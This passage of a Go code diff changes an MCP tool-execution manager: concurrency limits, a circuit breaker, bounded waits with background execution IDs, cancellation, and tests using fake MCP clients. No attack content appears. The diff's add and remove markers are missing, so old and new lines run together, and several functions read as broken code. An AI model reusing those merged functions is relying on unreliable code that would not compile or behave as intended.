return nil, acquireErr
|
||||
}
|
||||
return release, nil
|
||||
},
|
||||
Run: func(runCtx context.Context) (*ToolResult, error) {
|
||||
result, callErr := client.CallTool(runCtx, actualToolName, args)
|
||||
if callErr != nil {
|
||||
m.handleConnectionDead(mcpName, client, callErr)
|
||||
}
|
||||
return result, callErr
|
||||
},
|
||||
OnDone: func(exec *ToolExecution) {
|
||||
failed := exec != nil && exec.Status != ToolExecutionStatusCompleted && exec.Status != ToolExecutionStatusCancelled
|
||||
m.recordExternalMCPResult(mcpName, failed)
|
||||
m.updateStats(toolName, failed)
|
||||
},
|
||||
})
|
||||
if err != nil {
|
||||
m.handleConnectionDead(mcpName, client, err)
|
||||
return nil, "", err
|
||||
}
|
||||
cancelledWithUserNote := m.applyAbortUserNoteToCancelledToolResult(executionID, &result, &err)
|
||||
|
||||
// 更新执行记录
|
||||
m.mu.RLock()
|
||||
waitTimeout := m.toolWaitTimeout
|
||||
m.mu.RUnlock()
|
||||
snapshot, waitErr := m.executionService.Wait(ctx, handle.ID, waitTimeout)
|
||||
if errors.Is(waitErr, ErrExecutionWaitTimeout) {
|
||||
return externalMCPWaitTimeoutResult(snapshot, waitTimeout), handle.ID, nil
|
||||
}
|
||||
if waitErr != nil {
|
||||
return nil, handle.ID, waitErr
|
||||
}
|
||||
if snapshot == nil || snapshot.Execution == nil {
|
||||
return &ToolResult{Content: []Content{{Type: "text", Text: "工具执行完成,但未返回执行快照"}}, IsError: true}, handle.ID, nil
|
||||
}
|
||||
if snapshot.Execution.Result != nil {
|
||||
return snapshot.Execution.Result, handle.ID, nil
|
||||
}
|
||||
if snapshot.Execution.Error != "" {
|
||||
return nil, handle.ID, errors.New(snapshot.Execution.Error)
|
||||
}
|
||||
return &ToolResult{Content: []Content{{Type: "text", Text: "工具执行完成,但未返回结果"}}, IsError: false}, handle.ID, nil
|
||||
}
|
||||
|
||||
func externalMCPWaitTimeoutResult(snapshot *ExecutionSnapshot, waitTimeout time.Duration) *ToolResult {
|
||||
execID := ""
|
||||
status := ToolExecutionStatusRunning
|
||||
toolName := ""
|
||||
elapsed := time.Duration(0)
|
||||
if snapshot != nil && snapshot.Execution != nil {
|
||||
execID = snapshot.Execution.ID
|
||||
status = snapshot.Execution.Status
|
||||
toolName = snapshot.Execution.ToolName
|
||||
elapsed = time.Since(snapshot.Execution.StartTime).Round(time.Second)
|
||||
}
|
||||
waitText := "unbounded"
|
||||
if waitTimeout > 0 {
|
||||
waitText = waitTimeout.Round(time.Second).String()
|
||||
}
|
||||
msg := fmt.Sprintf(`工具已提交到后台执行,但本次等待已到达上限。
|
||||
|
||||
execution_id: %s
|
||||
tool: %s
|
||||
status: %s
|
||||
wait_timeout: %s
|
||||
elapsed: %s
|
||||
|
||||
你可以继续推理、改用其他工具,或调用 wait_tool_execution 继续等待该 execution_id;也可以调用 cancel_tool_execution 取消。`, execID, toolName, status, waitText, elapsed)
|
||||
return &ToolResult{Content: []Content{{Type: "text", Text: msg}}, IsError: true}
|
||||
}
|
||||
|
||||
func (m *ExternalMCPManager) checkExternalMCPCircuit(mcpName string) error {
|
||||
if m == nil {
|
||||
return nil
|
||||
}
|
||||
name := strings.TrimSpace(mcpName)
|
||||
if name == "" {
|
||||
return nil
|
||||
}
|
||||
m.mu.Lock()
|
||||
defer m.mu.Unlock()
|
||||
if m.resilience.CircuitFailureThreshold < 0 {
|
||||
return nil
|
||||
}
|
||||
rt := m.externalMCPRuntimeLocked(name)
|
||||
if rt == nil || rt.circuitOpenUntil.IsZero() {
|
||||
return nil
|
||||
}
|
||||
now := time.Now()
|
||||
execution.EndTime = &now
|
||||
execution.Duration = now.Sub(execution.StartTime)
|
||||
|
||||
if err != nil {
|
||||
st, msg := executionStatusAndMessage(err)
|
||||
execution.Status = st
|
||||
execution.Error = msg
|
||||
} else if result != nil && result.IsError {
|
||||
if cancelledWithUserNote {
|
||||
execution.Status = "cancelled"
|
||||
execution.Error = ""
|
||||
execution.Result = result
|
||||
} else {
|
||||
execution.Status = "failed"
|
||||
if len(result.Content) > 0 {
|
||||
execution.Error = result.Content[0].Text
|
||||
} else {
|
||||
execution.Error = "工具执行返回错误结果"
|
||||
}
|
||||
execution.Result = result
|
||||
}
|
||||
} else {
|
||||
execution.Status = "completed"
|
||||
if result == nil {
|
||||
result = &ToolResult{
|
||||
Content: []Content{
|
||||
{Type: "text", Text: "工具执行完成,但未返回结果"},
|
||||
},
|
||||
}
|
||||
}
|
||||
execution.Result = result
|
||||
if now.Before(rt.circuitOpenUntil) {
|
||||
return fmt.Errorf("外部MCP服务 %s 已临时熔断,预计 %s 后重试", name, time.Until(rt.circuitOpenUntil).Round(time.Second))
|
||||
}
|
||||
rt.circuitOpenUntil = time.Time{}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (m *ExternalMCPManager) acquireExternalMCPCallSlot(ctx context.Context, mcpName string) (func(), error) {
|
||||
if m == nil {
|
||||
return func() {}, nil
|
||||
}
|
||||
name := strings.TrimSpace(mcpName)
|
||||
m.mu.Lock()
|
||||
rt := m.externalMCPRuntimeLocked(name)
|
||||
serverSem := chan struct{}(nil)
|
||||
if rt != nil {
|
||||
serverSem = rt.semaphore
|
||||
}
|
||||
globalSem := m.globalSemaphore
|
||||
m.mu.Unlock()
|
||||
|
||||
if m.storage != nil {
|
||||
if err := m.storage.SaveToolExecution(execution); err != nil {
|
||||
m.logger.Warn("保存执行记录到数据库失败", zap.Error(err))
|
||||
releaseGlobal := false
|
||||
if globalSem != nil {
|
||||
select {
|
||||
case globalSem <- struct{}{}:
|
||||
releaseGlobal = true
|
||||
case <-ctxDone(ctx):
|
||||
return func() {}, contextErr(ctx)
|
||||
}
|
||||
}
|
||||
|
||||
// 更新统计信息
|
||||
failed := err != nil || (result != nil && result.IsError)
|
||||
m.updateStats(toolName, failed)
|
||||
|
||||
// 如果使用存储,从内存中删除(已持久化)
|
||||
if m.storage != nil {
|
||||
m.mu.Lock()
|
||||
delete(m.executions, executionID)
|
||||
m.mu.Unlock()
|
||||
releaseServer := false
|
||||
if serverSem != nil {
|
||||
select {
|
||||
case serverSem <- struct{}{}:
|
||||
releaseServer = true
|
||||
case <-ctxDone(ctx):
|
||||
if releaseGlobal {
|
||||
<-globalSem
|
||||
}
|
||||
return func() {}, contextErr(ctx)
|
||||
}
|
||||
}
|
||||
return func() {
|
||||
if releaseServer {
|
||||
<-serverSem
|
||||
}
|
||||
if releaseGlobal {
|
||||
<-globalSem
|
||||
}
|
||||
}, nil
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
return nil, executionID, err
|
||||
func contextErr(ctx context.Context) error {
|
||||
if ctx == nil || ctx.Err() == nil {
|
||||
return context.Canceled
|
||||
}
|
||||
return ctx.Err()
|
||||
}
|
||||
|
||||
return result, executionID, nil
|
||||
func (m *ExternalMCPManager) recordExternalMCPResult(mcpName string, failed bool) {
|
||||
if m == nil || strings.TrimSpace(mcpName) == "" {
|
||||
return
|
||||
}
|
||||
m.mu.Lock()
|
||||
defer m.mu.Unlock()
|
||||
rt := m.externalMCPRuntimeLocked(mcpName)
|
||||
if rt == nil {
|
||||
return
|
||||
}
|
||||
if !failed {
|
||||
rt.consecutiveFailures = 0
|
||||
rt.circuitOpenUntil = time.Time{}
|
||||
return
|
||||
}
|
||||
if m.resilience.CircuitFailureThreshold < 0 {
|
||||
return
|
||||
}
|
||||
rt.consecutiveFailures++
|
||||
if rt.consecutiveFailures >= m.resilience.CircuitFailureThreshold {
|
||||
rt.circuitOpenUntil = time.Now().Add(m.resilience.CircuitCooldown)
|
||||
m.logger.Warn("外部MCP服务触发熔断",
|
||||
zap.String("name", mcpName),
|
||||
zap.Int("consecutiveFailures", rt.consecutiveFailures),
|
||||
zap.Duration("cooldown", m.resilience.CircuitCooldown),
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
func (m *ExternalMCPManager) externalMCPRuntimeLocked(mcpName string) *externalMCPServerRuntime {
|
||||
if m.serverRuntimes == nil {
|
||||
m.serverRuntimes = make(map[string]*externalMCPServerRuntime)
|
||||
}
|
||||
name := strings.TrimSpace(mcpName)
|
||||
if name == "" {
|
||||
return nil
|
||||
}
|
||||
if rt := m.serverRuntimes[name]; rt != nil {
|
||||
return rt
|
||||
}
|
||||
var sem chan struct{}
|
||||
if m.resilience.MaxConcurrentPerServer > 0 {
|
||||
sem = make(chan struct{}, m.resilience.MaxConcurrentPerServer)
|
||||
}
|
||||
rt := &externalMCPServerRuntime{semaphore: sem}
|
||||
m.serverRuntimes[name] = rt
|
||||
return rt
|
||||
}
|
||||
|
||||
func (m *ExternalMCPManager) applyAbortUserNoteToCancelledToolResult(executionID string, result **ToolResult, err *error) (cancelledWithUserNote bool) {
|
||||
@@ -785,6 +1008,11 @@ func (m *ExternalMCPManager) cleanupOldExecutions() {
|
||||
|
||||
// GetExecution 获取执行记录(先从内存查找,再从数据库查找)
|
||||
func (m *ExternalMCPManager) GetExecution(id string) (*ToolExecution, bool) {
|
||||
if m.executionService != nil {
|
||||
if snap, err := m.executionService.Get(id); err == nil && snap != nil && snap.Execution != nil {
|
||||
return snap.Execution, true
|
||||
}
|
||||
}
|
||||
m.mu.RLock()
|
||||
exec, exists := m.executions[id]
|
||||
m.mu.RUnlock()
|
||||
@@ -817,6 +1045,9 @@ func (m *ExternalMCPManager) unregisterRunningCancel(id string) {
|
||||
|
||||
// CancelToolExecutionWithNote 取消外部 MCP 工具;note 非空时与已返回输出合并后交给模型。
|
||||
func (m *ExternalMCPManager) CancelToolExecutionWithNote(id string, note string) bool {
|
||||
if m.executionService != nil && m.executionService.Cancel(id, note) {
|
||||
return true
|
||||
}
|
||||
m.mu.Lock()
|
||||
cancel, ok := m.runningCancels[id]
|
||||
if !ok || cancel == nil {
|
||||
@@ -844,6 +1075,11 @@ func (m *ExternalMCPManager) ActiveRunningExecutionIDs() map[string]struct{} {
|
||||
if m == nil {
|
||||
return nil
|
||||
}
|
||||
if m.executionService != nil {
|
||||
if ids := m.executionService.ActiveRunningExecutionIDs(); len(ids) > 0 {
|
||||
return ids
|
||||
}
|
||||
}
|
||||
m.mu.Lock()
|
||||
defer m.mu.Unlock()
|
||||
if len(m.runningCancels) == 0 {
|
||||
@@ -1335,12 +1571,21 @@ func (m *ExternalMCPManager) StartAllEnabled() {
|
||||
|
||||
// StopAll 停止所有客户端
|
||||
func (m *ExternalMCPManager) StopAll() {
|
||||
if m.executionService != nil {
|
||||
m.executionService.CancelAll("外部 MCP 管理器正在停止")
|
||||
}
|
||||
clients := make(map[string]ExternalMCPClient)
|
||||
m.mu.Lock()
|
||||
defer m.mu.Unlock()
|
||||
|
||||
for name, client := range m.clients {
|
||||
client.Close()
|
||||
clients[name] = client
|
||||
delete(m.clients, name)
|
||||
}
|
||||
m.mu.Unlock()
|
||||
|
||||
for name, client := range clients {
|
||||
if client != nil {
|
||||
_ = client.Close()
|
||||
}
|
||||
m.clearReconnectState(name)
|
||||
}
|
||||
|
||||
@@ -1360,6 +1605,6 @@ func (m *ExternalMCPManager) StopAll() {
|
||||
// 已经关闭,不需要再次关闭
|
||||
default:
|
||||
close(m.stopRefresh)
|
||||
m.refreshWg.Wait()
|
||||
}
|
||||
m.refreshWg.Wait()
|
||||
}
|
||||
|
||||
@@ -0,0 +1,230 @@
|
||||
package mcp
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"strings"
|
||||
"sync/atomic"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"go.uber.org/zap"
|
||||
)
|
||||
|
||||
type blockingExternalMCPClient struct {
|
||||
started chan struct{}
|
||||
calls chan string
|
||||
release chan struct{}
|
||||
result *ToolResult
|
||||
count atomic.Int32
|
||||
}
|
||||
|
||||
func newBlockingExternalMCPClient(resultText string) *blockingExternalMCPClient {
|
||||
return &blockingExternalMCPClient{
|
||||
started: make(chan struct{}),
|
||||
calls: make(chan string, 8),
|
||||
release: make(chan struct{}),
|
||||
result: &ToolResult{Content: []Content{{Type: "text", Text: resultText}}},
|
||||
}
|
||||
}
|
||||
|
||||
func (c *blockingExternalMCPClient) Initialize(ctx context.Context) error { return nil }
|
||||
func (c *blockingExternalMCPClient) ListTools(ctx context.Context) ([]Tool, error) {
|
||||
return []Tool{{Name: "slow_tool"}}, nil
|
||||
}
|
||||
func (c *blockingExternalMCPClient) CallTool(ctx context.Context, name string, args map[string]interface{}) (*ToolResult, error) {
|
||||
c.count.Add(1)
|
||||
select {
|
||||
case c.calls <- name:
|
||||
default:
|
||||
}
|
||||
select {
|
||||
case <-c.started:
|
||||
default:
|
||||
close(c.started)
|
||||
}
|
||||
select {
|
||||
case <-c.release:
|
||||
return c.result, nil
|
||||
case <-ctx.Done():
|
||||
return nil, ctx.Err()
|
||||
}
|
||||
}
|
||||
func (c *blockingExternalMCPClient) Close() error { return nil }
|
||||
func (c *blockingExternalMCPClient) IsConnected() bool { return true }
|
||||
func (c *blockingExternalMCPClient) GetStatus() string { return "connected" }
|
||||
|
||||
type failingExternalMCPClient struct{}
|
||||
|
||||
func (c *failingExternalMCPClient) Initialize(ctx context.Context) error { return nil }
|
||||
func (c *failingExternalMCPClient) ListTools(ctx context.Context) ([]Tool, error) {
|
||||
return []Tool{{Name: "fail_tool"}}, nil
|
||||
}
|
||||
func (c *failingExternalMCPClient) CallTool(ctx context.Context, name string, args map[string]interface{}) (*ToolResult, error) {
|
||||
return nil, errors.New("boom")
|
||||
}
|
||||
func (c *failingExternalMCPClient) Close() error { return nil }
|
||||
func (c *failingExternalMCPClient) IsConnected() bool { return true }
|
||||
func (c *failingExternalMCPClient) GetStatus() string { return "connected" }
|
||||
|
||||
func TestExternalMCPManager_CallToolBoundedWaitThenContinue(t *testing.T) {
|
||||
manager := NewExternalMCPManager(zap.NewNop())
|
||||
manager.ConfigureToolWaitTimeoutSeconds(1)
|
||||
manager.toolWaitTimeout = 10 * time.Millisecond
|
||||
client := newBlockingExternalMCPClient("slow result ready")
|
||||
manager.clients["lab"] = client
|
||||
|
||||
callCtx, callCancel := context.WithCancel(context.Background())
|
||||
result, executionID, err := manager.CallTool(callCtx, "lab::slow_tool", map[string]interface{}{"target": "example"})
|
||||
if err != nil {
|
||||
t.Fatalf("CallTool returned error: %v", err)
|
||||
}
|
||||
if executionID == "" {
|
||||
t.Fatal("expected execution id")
|
||||
}
|
||||
if result == nil || !result.IsError {
|
||||
t.Fatalf("expected soft timeout tool result, got %#v", result)
|
||||
}
|
||||
text := ToolResultPlainText(result)
|
||||
if !strings.Contains(text, executionID) || !strings.Contains(text, "wait_tool_execution") {
|
||||
t.Fatalf("timeout result should include execution id and wait guidance, got %q", text)
|
||||
}
|
||||
|
||||
select {
|
||||
case <-client.started:
|
||||
default:
|
||||
t.Fatal("worker did not start")
|
||||
}
|
||||
callCancel()
|
||||
close(client.release)
|
||||
|
||||
snapshot, err := manager.executionService.Wait(context.Background(), executionID, time.Second)
|
||||
if err != nil {
|
||||
t.Fatalf("Wait returned error: %v", err)
|
||||
}
|
||||
if snapshot == nil || snapshot.Execution == nil {
|
||||
t.Fatal("expected execution snapshot")
|
||||
}
|
||||
if snapshot.Execution.Status != ToolExecutionStatusCompleted {
|
||||
t.Fatalf("status = %q, want completed", snapshot.Execution.Status)
|
||||
}
|
||||
if got := ToolResultPlainText(snapshot.Execution.Result); got != "slow result ready" {
|
||||
t.Fatalf("result = %q, want slow result ready", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestExecutionControlWaitToolReturnsCompletedResult(t *testing.T) {
|
||||
manager := NewExternalMCPManager(zap.NewNop())
|
||||
manager.toolWaitTimeout = 10 * time.Millisecond
|
||||
client := newBlockingExternalMCPClient("control wait result")
|
||||
manager.clients["lab"] = client
|
||||
|
||||
result, executionID, err := manager.CallTool(context.Background(), "lab::slow_tool", nil)
|
||||
if err != nil {
|
||||
t.Fatalf("CallTool returned error: %v", err)
|
||||
}
|
||||
if result == nil || !result.IsError || executionID == "" {
|
||||
t.Fatalf("expected soft timeout and execution id, got result=%#v id=%q", result, executionID)
|
||||
}
|
||||
|
||||
server := NewServer(zap.NewNop())
|
||||
RegisterExecutionControlTools(server, manager)
|
||||
close(client.release)
|
||||
|
||||
waitResult, _, err := server.CallTool(context.Background(), "wait_tool_execution", map[string]interface{}{
|
||||
"execution_id": executionID,
|
||||
"timeout_seconds": 1,
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("wait_tool_execution returned error: %v", err)
|
||||
}
|
||||
if waitResult == nil || waitResult.IsError {
|
||||
t.Fatalf("expected successful wait result, got %#v", waitResult)
|
||||
}
|
||||
body := ToolResultPlainText(waitResult)
|
||||
if !strings.Contains(body, `"status": "completed"`) || !strings.Contains(body, "control wait result") {
|
||||
t.Fatalf("wait result body missing completed status/result: %s", body)
|
||||
}
|
||||
}
|
||||
|
||||
func TestExternalMCPManager_PerServerConcurrencyLimitsWorkers(t *testing.T) {
|
||||
manager := NewExternalMCPManager(zap.NewNop())
|
||||
manager.toolWaitTimeout = 10 * time.Millisecond
|
||||
manager.ConfigureResilience(ExternalMCPResilienceConfig{
|
||||
MaxConcurrentPerServer: 1,
|
||||
MaxConcurrentTotal: 4,
|
||||
CircuitFailureThreshold: -1,
|
||||
CircuitCooldown: time.Second,
|
||||
})
|
||||
client := newBlockingExternalMCPClient("ok")
|
||||
manager.clients["lab"] = client
|
||||
|
||||
done1 := make(chan struct{})
|
||||
go func() {
|
||||
_, _, _ = manager.CallTool(context.Background(), "lab::slow_tool", nil)
|
||||
close(done1)
|
||||
}()
|
||||
select {
|
||||
case <-client.calls:
|
||||
case <-time.After(time.Second):
|
||||
t.Fatal("first worker did not enter client")
|
||||
}
|
||||
|
||||
type callOutcome struct {
|
||||
executionID string
|
||||
err error
|
||||
}
|
||||
done2 := make(chan callOutcome, 1)
|
||||
go func() {
|
||||
_, executionID, err := manager.CallTool(context.Background(), "lab::slow_tool", nil)
|
||||
done2 <- callOutcome{executionID: executionID, err: err}
|
||||
}()
|
||||
select {
|
||||
case <-client.calls:
|
||||
t.Fatal("second worker entered client before per-server slot was released")
|
||||
case <-time.After(50 * time.Millisecond):
|
||||
}
|
||||
var second callOutcome
|
||||
select {
|
||||
case second = <-done2:
|
||||
case <-time.After(time.Second):
|
||||
t.Fatal("second call did not return after bounded wait")
|
||||
}
|
||||
if second.err != nil || second.executionID == "" {
|
||||
t.Fatalf("second call should return queued execution id after bounded wait, id=%q err=%v", second.executionID, second.err)
|
||||
}
|
||||
snapshot, err := manager.executionService.Get(second.executionID)
|
||||
if err != nil {
|
||||
t.Fatalf("Get queued execution: %v", err)
|
||||
}
|
||||
if snapshot == nil || snapshot.Execution == nil || snapshot.Execution.Status != ToolExecutionStatusQueued {
|
||||
t.Fatalf("second execution status = %#v, want queued", snapshot)
|
||||
}
|
||||
close(client.release)
|
||||
select {
|
||||
case <-client.calls:
|
||||
case <-time.After(time.Second):
|
||||
t.Fatal("second worker did not enter client after slot release")
|
||||
}
|
||||
<-done1
|
||||
}
|
||||
|
||||
func TestExternalMCPManager_CircuitBreakerOpensAfterFailures(t *testing.T) {
|
||||
manager := NewExternalMCPManager(zap.NewNop())
|
||||
manager.ConfigureResilience(ExternalMCPResilienceConfig{
|
||||
MaxConcurrentPerServer: 2,
|
||||
MaxConcurrentTotal: 4,
|
||||
CircuitFailureThreshold: 1,
|
||||
CircuitCooldown: time.Minute,
|
||||
})
|
||||
manager.clients["lab"] = &failingExternalMCPClient{}
|
||||
|
||||
_, _, err := manager.CallTool(context.Background(), "lab::fail_tool", nil)
|
||||
if err == nil || !strings.Contains(err.Error(), "boom") {
|
||||
t.Fatalf("expected first call to fail with client error, got %v", err)
|
||||
}
|
||||
_, _, err = manager.CallTool(context.Background(), "lab::fail_tool", nil)
|
||||
if err == nil || !strings.Contains(err.Error(), "熔断") {
|
||||
t.Fatalf("expected circuit breaker rejection, got %v", err)
|
||||
}
|
||||
}
|
||||
@@ -22,6 +22,8 @@ type EinoExecuteRunRegistry interface {
|
||||
type toolRunRegistryCtxKey struct{}
|
||||
type einoExecuteRunRegistryCtxKey struct{}
|
||||
type mcpConversationIDCtxKey struct{}
|
||||
type mcpExecutionIDCtxKey struct{}
|
||||
type mcpProjectIDCtxKey struct{}
|
||||
|
||||
// WithToolRunRegistry 将登记器注入 ctx(Eino / 原生 Agent 任务 ctx)。
|
||||
func WithToolRunRegistry(ctx context.Context, reg ToolRunRegistry) context.Context {
|
||||
@@ -78,6 +80,48 @@ func MCPConversationIDFromContext(ctx context.Context) string {
|
||||
return v
|
||||
}
|
||||
|
||||
// WithMCPExecutionID 将当前工具 executionId 注入 ctx,供超长输出落盘文件名对齐。
|
||||
func WithMCPExecutionID(ctx context.Context, executionID string) context.Context {
|
||||
if ctx == nil {
|
||||
return nil
|
||||
}
|
||||
id := strings.TrimSpace(executionID)
|
||||
if id == "" {
|
||||
return ctx
|
||||
}
|
||||
return context.WithValue(ctx, mcpExecutionIDCtxKey{}, id)
|
||||
}
|
||||
|
||||
// MCPExecutionIDFromContext 读取当前工具 executionId。
|
||||
func MCPExecutionIDFromContext(ctx context.Context) string {
|
||||
if ctx == nil {
|
||||
return ""
|
||||
}
|
||||
v, _ := ctx.Value(mcpExecutionIDCtxKey{}).(string)
|
||||
return v
|
||||
}
|
||||
|
||||
// WithMCPProjectID 将项目 ID 注入 ctx,供 reduction/trunc 落盘路径与项目隔离对齐。
|
||||
func WithMCPProjectID(ctx context.Context, projectID string) context.Context {
|
||||
if ctx == nil {
|
||||
return nil
|
||||
}
|
||||
id := strings.TrimSpace(projectID)
|
||||
if id == "" {
|
||||
return ctx
|
||||
}
|
||||
return context.WithValue(ctx, mcpProjectIDCtxKey{}, id)
|
||||
}
|
||||
|
||||
// MCPProjectIDFromContext 读取项目 ID。
|
||||
func MCPProjectIDFromContext(ctx context.Context) string {
|
||||
if ctx == nil {
|
||||
return ""
|
||||
}
|
||||
v, _ := ctx.Value(mcpProjectIDCtxKey{}).(string)
|
||||
return v
|
||||
}
|
||||
|
||||
func notifyToolRunBegin(ctx context.Context, executionID string) {
|
||||
reg := ToolRunRegistryFromContext(ctx)
|
||||
if reg == nil {
|
||||
|
||||
+195
-99
@@ -15,6 +15,7 @@ import (
|
||||
"time"
|
||||
|
||||
"cyberstrike-ai/internal/authctx"
|
||||
"cyberstrike-ai/internal/mcp/builtin"
|
||||
|
||||
"github.com/google/uuid"
|
||||
"go.uber.org/zap"
|
||||
@@ -52,8 +53,14 @@ type Server struct {
|
||||
httpToolTimeoutMinutes *int
|
||||
httpToolTimeoutMu sync.RWMutex
|
||||
toolAuthorizer func(context.Context, string, map[string]interface{}) error
|
||||
executionService *ExecutionService
|
||||
toolWaitTimeout time.Duration
|
||||
toolResultMaxBytes int
|
||||
spillRootDir string
|
||||
}
|
||||
|
||||
const defaultPartialOutputMaxBytes = 64 * 1024
|
||||
|
||||
// SetToolAuthorizer installs the common policy decision point for every
|
||||
// user-attributed tool call, whether it originates from HTTP or an Agent.
|
||||
func (s *Server) SetToolAuthorizer(authorizer func(context.Context, string, map[string]interface{}) error) {
|
||||
@@ -100,7 +107,10 @@ func NewServerWithStorage(logger *zap.Logger, storage MonitorStorage) *Server {
|
||||
sseClients: make(map[string]*sseClient),
|
||||
runningCancels: make(map[string]context.CancelFunc),
|
||||
abortUserNotes: make(map[string]string),
|
||||
toolWaitTimeout: 60 * time.Second,
|
||||
toolResultMaxBytes: DefaultToolResultMaxBytes,
|
||||
}
|
||||
s.executionService = NewExecutionService(storage, logger)
|
||||
|
||||
// 初始化默认提示词和资源
|
||||
s.initDefaultPrompts()
|
||||
@@ -109,6 +119,32 @@ func NewServerWithStorage(logger *zap.Logger, storage MonitorStorage) *Server {
|
||||
return s
|
||||
}
|
||||
|
||||
func (s *Server) ConfigureToolResultMaxBytes(maxBytes int) {
|
||||
if s == nil {
|
||||
return
|
||||
}
|
||||
s.mu.Lock()
|
||||
s.toolResultMaxBytes = maxBytes
|
||||
s.mu.Unlock()
|
||||
if s.executionService != nil {
|
||||
s.executionService.ConfigureToolResultMaxBytes(maxBytes)
|
||||
}
|
||||
}
|
||||
|
||||
// ConfigureToolResultSpillRoot sets the local directory root used when oversized
|
||||
// tool results are spilled (aligned with reduction_root_dir; empty → tmp/reduction).
|
||||
func (s *Server) ConfigureToolResultSpillRoot(rootDir string) {
|
||||
if s == nil {
|
||||
return
|
||||
}
|
||||
s.mu.Lock()
|
||||
s.spillRootDir = strings.TrimSpace(rootDir)
|
||||
s.mu.Unlock()
|
||||
if s.executionService != nil {
|
||||
s.executionService.ConfigureToolResultSpillRoot(rootDir)
|
||||
}
|
||||
}
|
||||
|
||||
// ConfigureHTTPToolCallTimeoutFromAgentMinutes 将 agent.tool_timeout_minutes 同步到经 HTTP POST /api/mcp 触发的 tools/call。
|
||||
// minutes<=0 表示不设置硬性截止时间(与配置「0 不限制」一致);minutes>0 为该次调用的最长等待时间。
|
||||
// 未调用前对 tools/call 使用默认 30 分钟(与历史硬编码一致)。
|
||||
@@ -125,6 +161,19 @@ func (s *Server) ConfigureHTTPToolCallTimeoutFromAgentMinutes(minutes int) {
|
||||
s.httpToolTimeoutMinutes = &v
|
||||
}
|
||||
|
||||
func (s *Server) ConfigureToolWaitTimeoutSeconds(seconds int) {
|
||||
if s == nil {
|
||||
return
|
||||
}
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
if seconds <= 0 {
|
||||
s.toolWaitTimeout = 0
|
||||
return
|
||||
}
|
||||
s.toolWaitTimeout = time.Duration(seconds) * time.Second
|
||||
}
|
||||
|
||||
func (s *Server) effectiveHTTPToolCallDeadline(parent context.Context) (context.Context, context.CancelFunc) {
|
||||
const defaultDur = 30 * time.Minute
|
||||
if parent == nil {
|
||||
@@ -555,13 +604,13 @@ func (s *Server) handleCallTool(requestCtx context.Context, msg *Message) *Messa
|
||||
st, msg := executionStatusAndMessage(err)
|
||||
execution.Status = st
|
||||
execution.Error = msg
|
||||
failed = true
|
||||
failed = st != "cancelled"
|
||||
} else if result != nil && result.IsError {
|
||||
if cancelledWithUserNote {
|
||||
execution.Status = "cancelled"
|
||||
execution.Error = ""
|
||||
execution.Result = result
|
||||
failed = true
|
||||
failed = false
|
||||
} else {
|
||||
execution.Status = "failed"
|
||||
if len(result.Content) > 0 {
|
||||
@@ -709,6 +758,11 @@ func (s *Server) updateStats(toolName string, failed bool) {
|
||||
|
||||
// GetExecution 获取执行记录(先从内存查找,再从数据库查找)
|
||||
func (s *Server) GetExecution(id string) (*ToolExecution, bool) {
|
||||
if s.executionService != nil {
|
||||
if snap, err := s.executionService.Get(id); err == nil && snap != nil && snap.Execution != nil {
|
||||
return snap.Execution, true
|
||||
}
|
||||
}
|
||||
s.mu.RLock()
|
||||
exec, exists := s.executions[id]
|
||||
s.mu.RUnlock()
|
||||
@@ -860,112 +914,91 @@ func (s *Server) CallTool(ctx context.Context, toolName string, args map[string]
|
||||
return nil, "", fmt.Errorf("工具 %s 未找到", toolName)
|
||||
}
|
||||
|
||||
// 创建执行记录
|
||||
executionID := uuid.New().String()
|
||||
execution := &ToolExecution{
|
||||
ID: executionID,
|
||||
ToolName: toolName,
|
||||
Arguments: args,
|
||||
Status: "running",
|
||||
StartTime: time.Now(),
|
||||
if s.executionService == nil {
|
||||
s.executionService = NewExecutionService(s.storage, s.logger)
|
||||
s.executionService.ConfigureToolResultMaxBytes(s.toolResultMaxBytes)
|
||||
s.executionService.ConfigureToolResultSpillRoot(s.spillRootDir)
|
||||
}
|
||||
var ownerUserID string
|
||||
if principal, ok := authctx.PrincipalFromContext(ctx); ok {
|
||||
execution.OwnerUserID = principal.UserID
|
||||
ownerUserID = principal.UserID
|
||||
}
|
||||
execution.ConversationID = MCPConversationIDFromContext(ctx)
|
||||
|
||||
s.mu.Lock()
|
||||
s.executions[executionID] = execution
|
||||
// 如果内存中的执行记录超过限制,清理最旧的记录
|
||||
s.cleanupOldExecutions()
|
||||
s.mu.Unlock()
|
||||
|
||||
if s.storage != nil {
|
||||
if err := s.storage.SaveToolExecution(execution); err != nil {
|
||||
s.logger.Warn("保存执行记录到数据库失败", zap.Error(err))
|
||||
}
|
||||
}
|
||||
|
||||
execCtx, runCancel := context.WithCancel(ctx)
|
||||
s.registerRunningCancel(executionID, runCancel)
|
||||
notifyToolRunBegin(ctx, executionID)
|
||||
defer func() {
|
||||
notifyToolRunEnd(ctx, executionID)
|
||||
runCancel()
|
||||
s.unregisterRunningCancel(executionID)
|
||||
}()
|
||||
|
||||
result, err := handler(execCtx, args)
|
||||
cancelledWithUserNote := s.applyAbortUserNoteToCancelledToolResult(executionID, &result, &err)
|
||||
|
||||
s.mu.Lock()
|
||||
now := time.Now()
|
||||
execution.EndTime = &now
|
||||
execution.Duration = now.Sub(execution.StartTime)
|
||||
var failed bool
|
||||
var finalResult *ToolResult
|
||||
|
||||
handle, err := s.executionService.Submit(ctx, ExecutionRequest{
|
||||
ToolName: toolName,
|
||||
Arguments: args,
|
||||
ConversationID: MCPConversationIDFromContext(ctx),
|
||||
OwnerUserID: ownerUserID,
|
||||
Run: func(runCtx context.Context) (*ToolResult, error) {
|
||||
return handler(runCtx, args)
|
||||
},
|
||||
OnDone: func(exec *ToolExecution) {
|
||||
failed := exec != nil && exec.Status != ToolExecutionStatusCompleted && exec.Status != ToolExecutionStatusCancelled
|
||||
s.updateStats(toolName, failed)
|
||||
},
|
||||
})
|
||||
if err != nil {
|
||||
st, msg := executionStatusAndMessage(err)
|
||||
execution.Status = st
|
||||
execution.Error = msg
|
||||
failed = true
|
||||
} else if result != nil && result.IsError {
|
||||
if cancelledWithUserNote {
|
||||
execution.Status = "cancelled"
|
||||
execution.Error = ""
|
||||
execution.Result = result
|
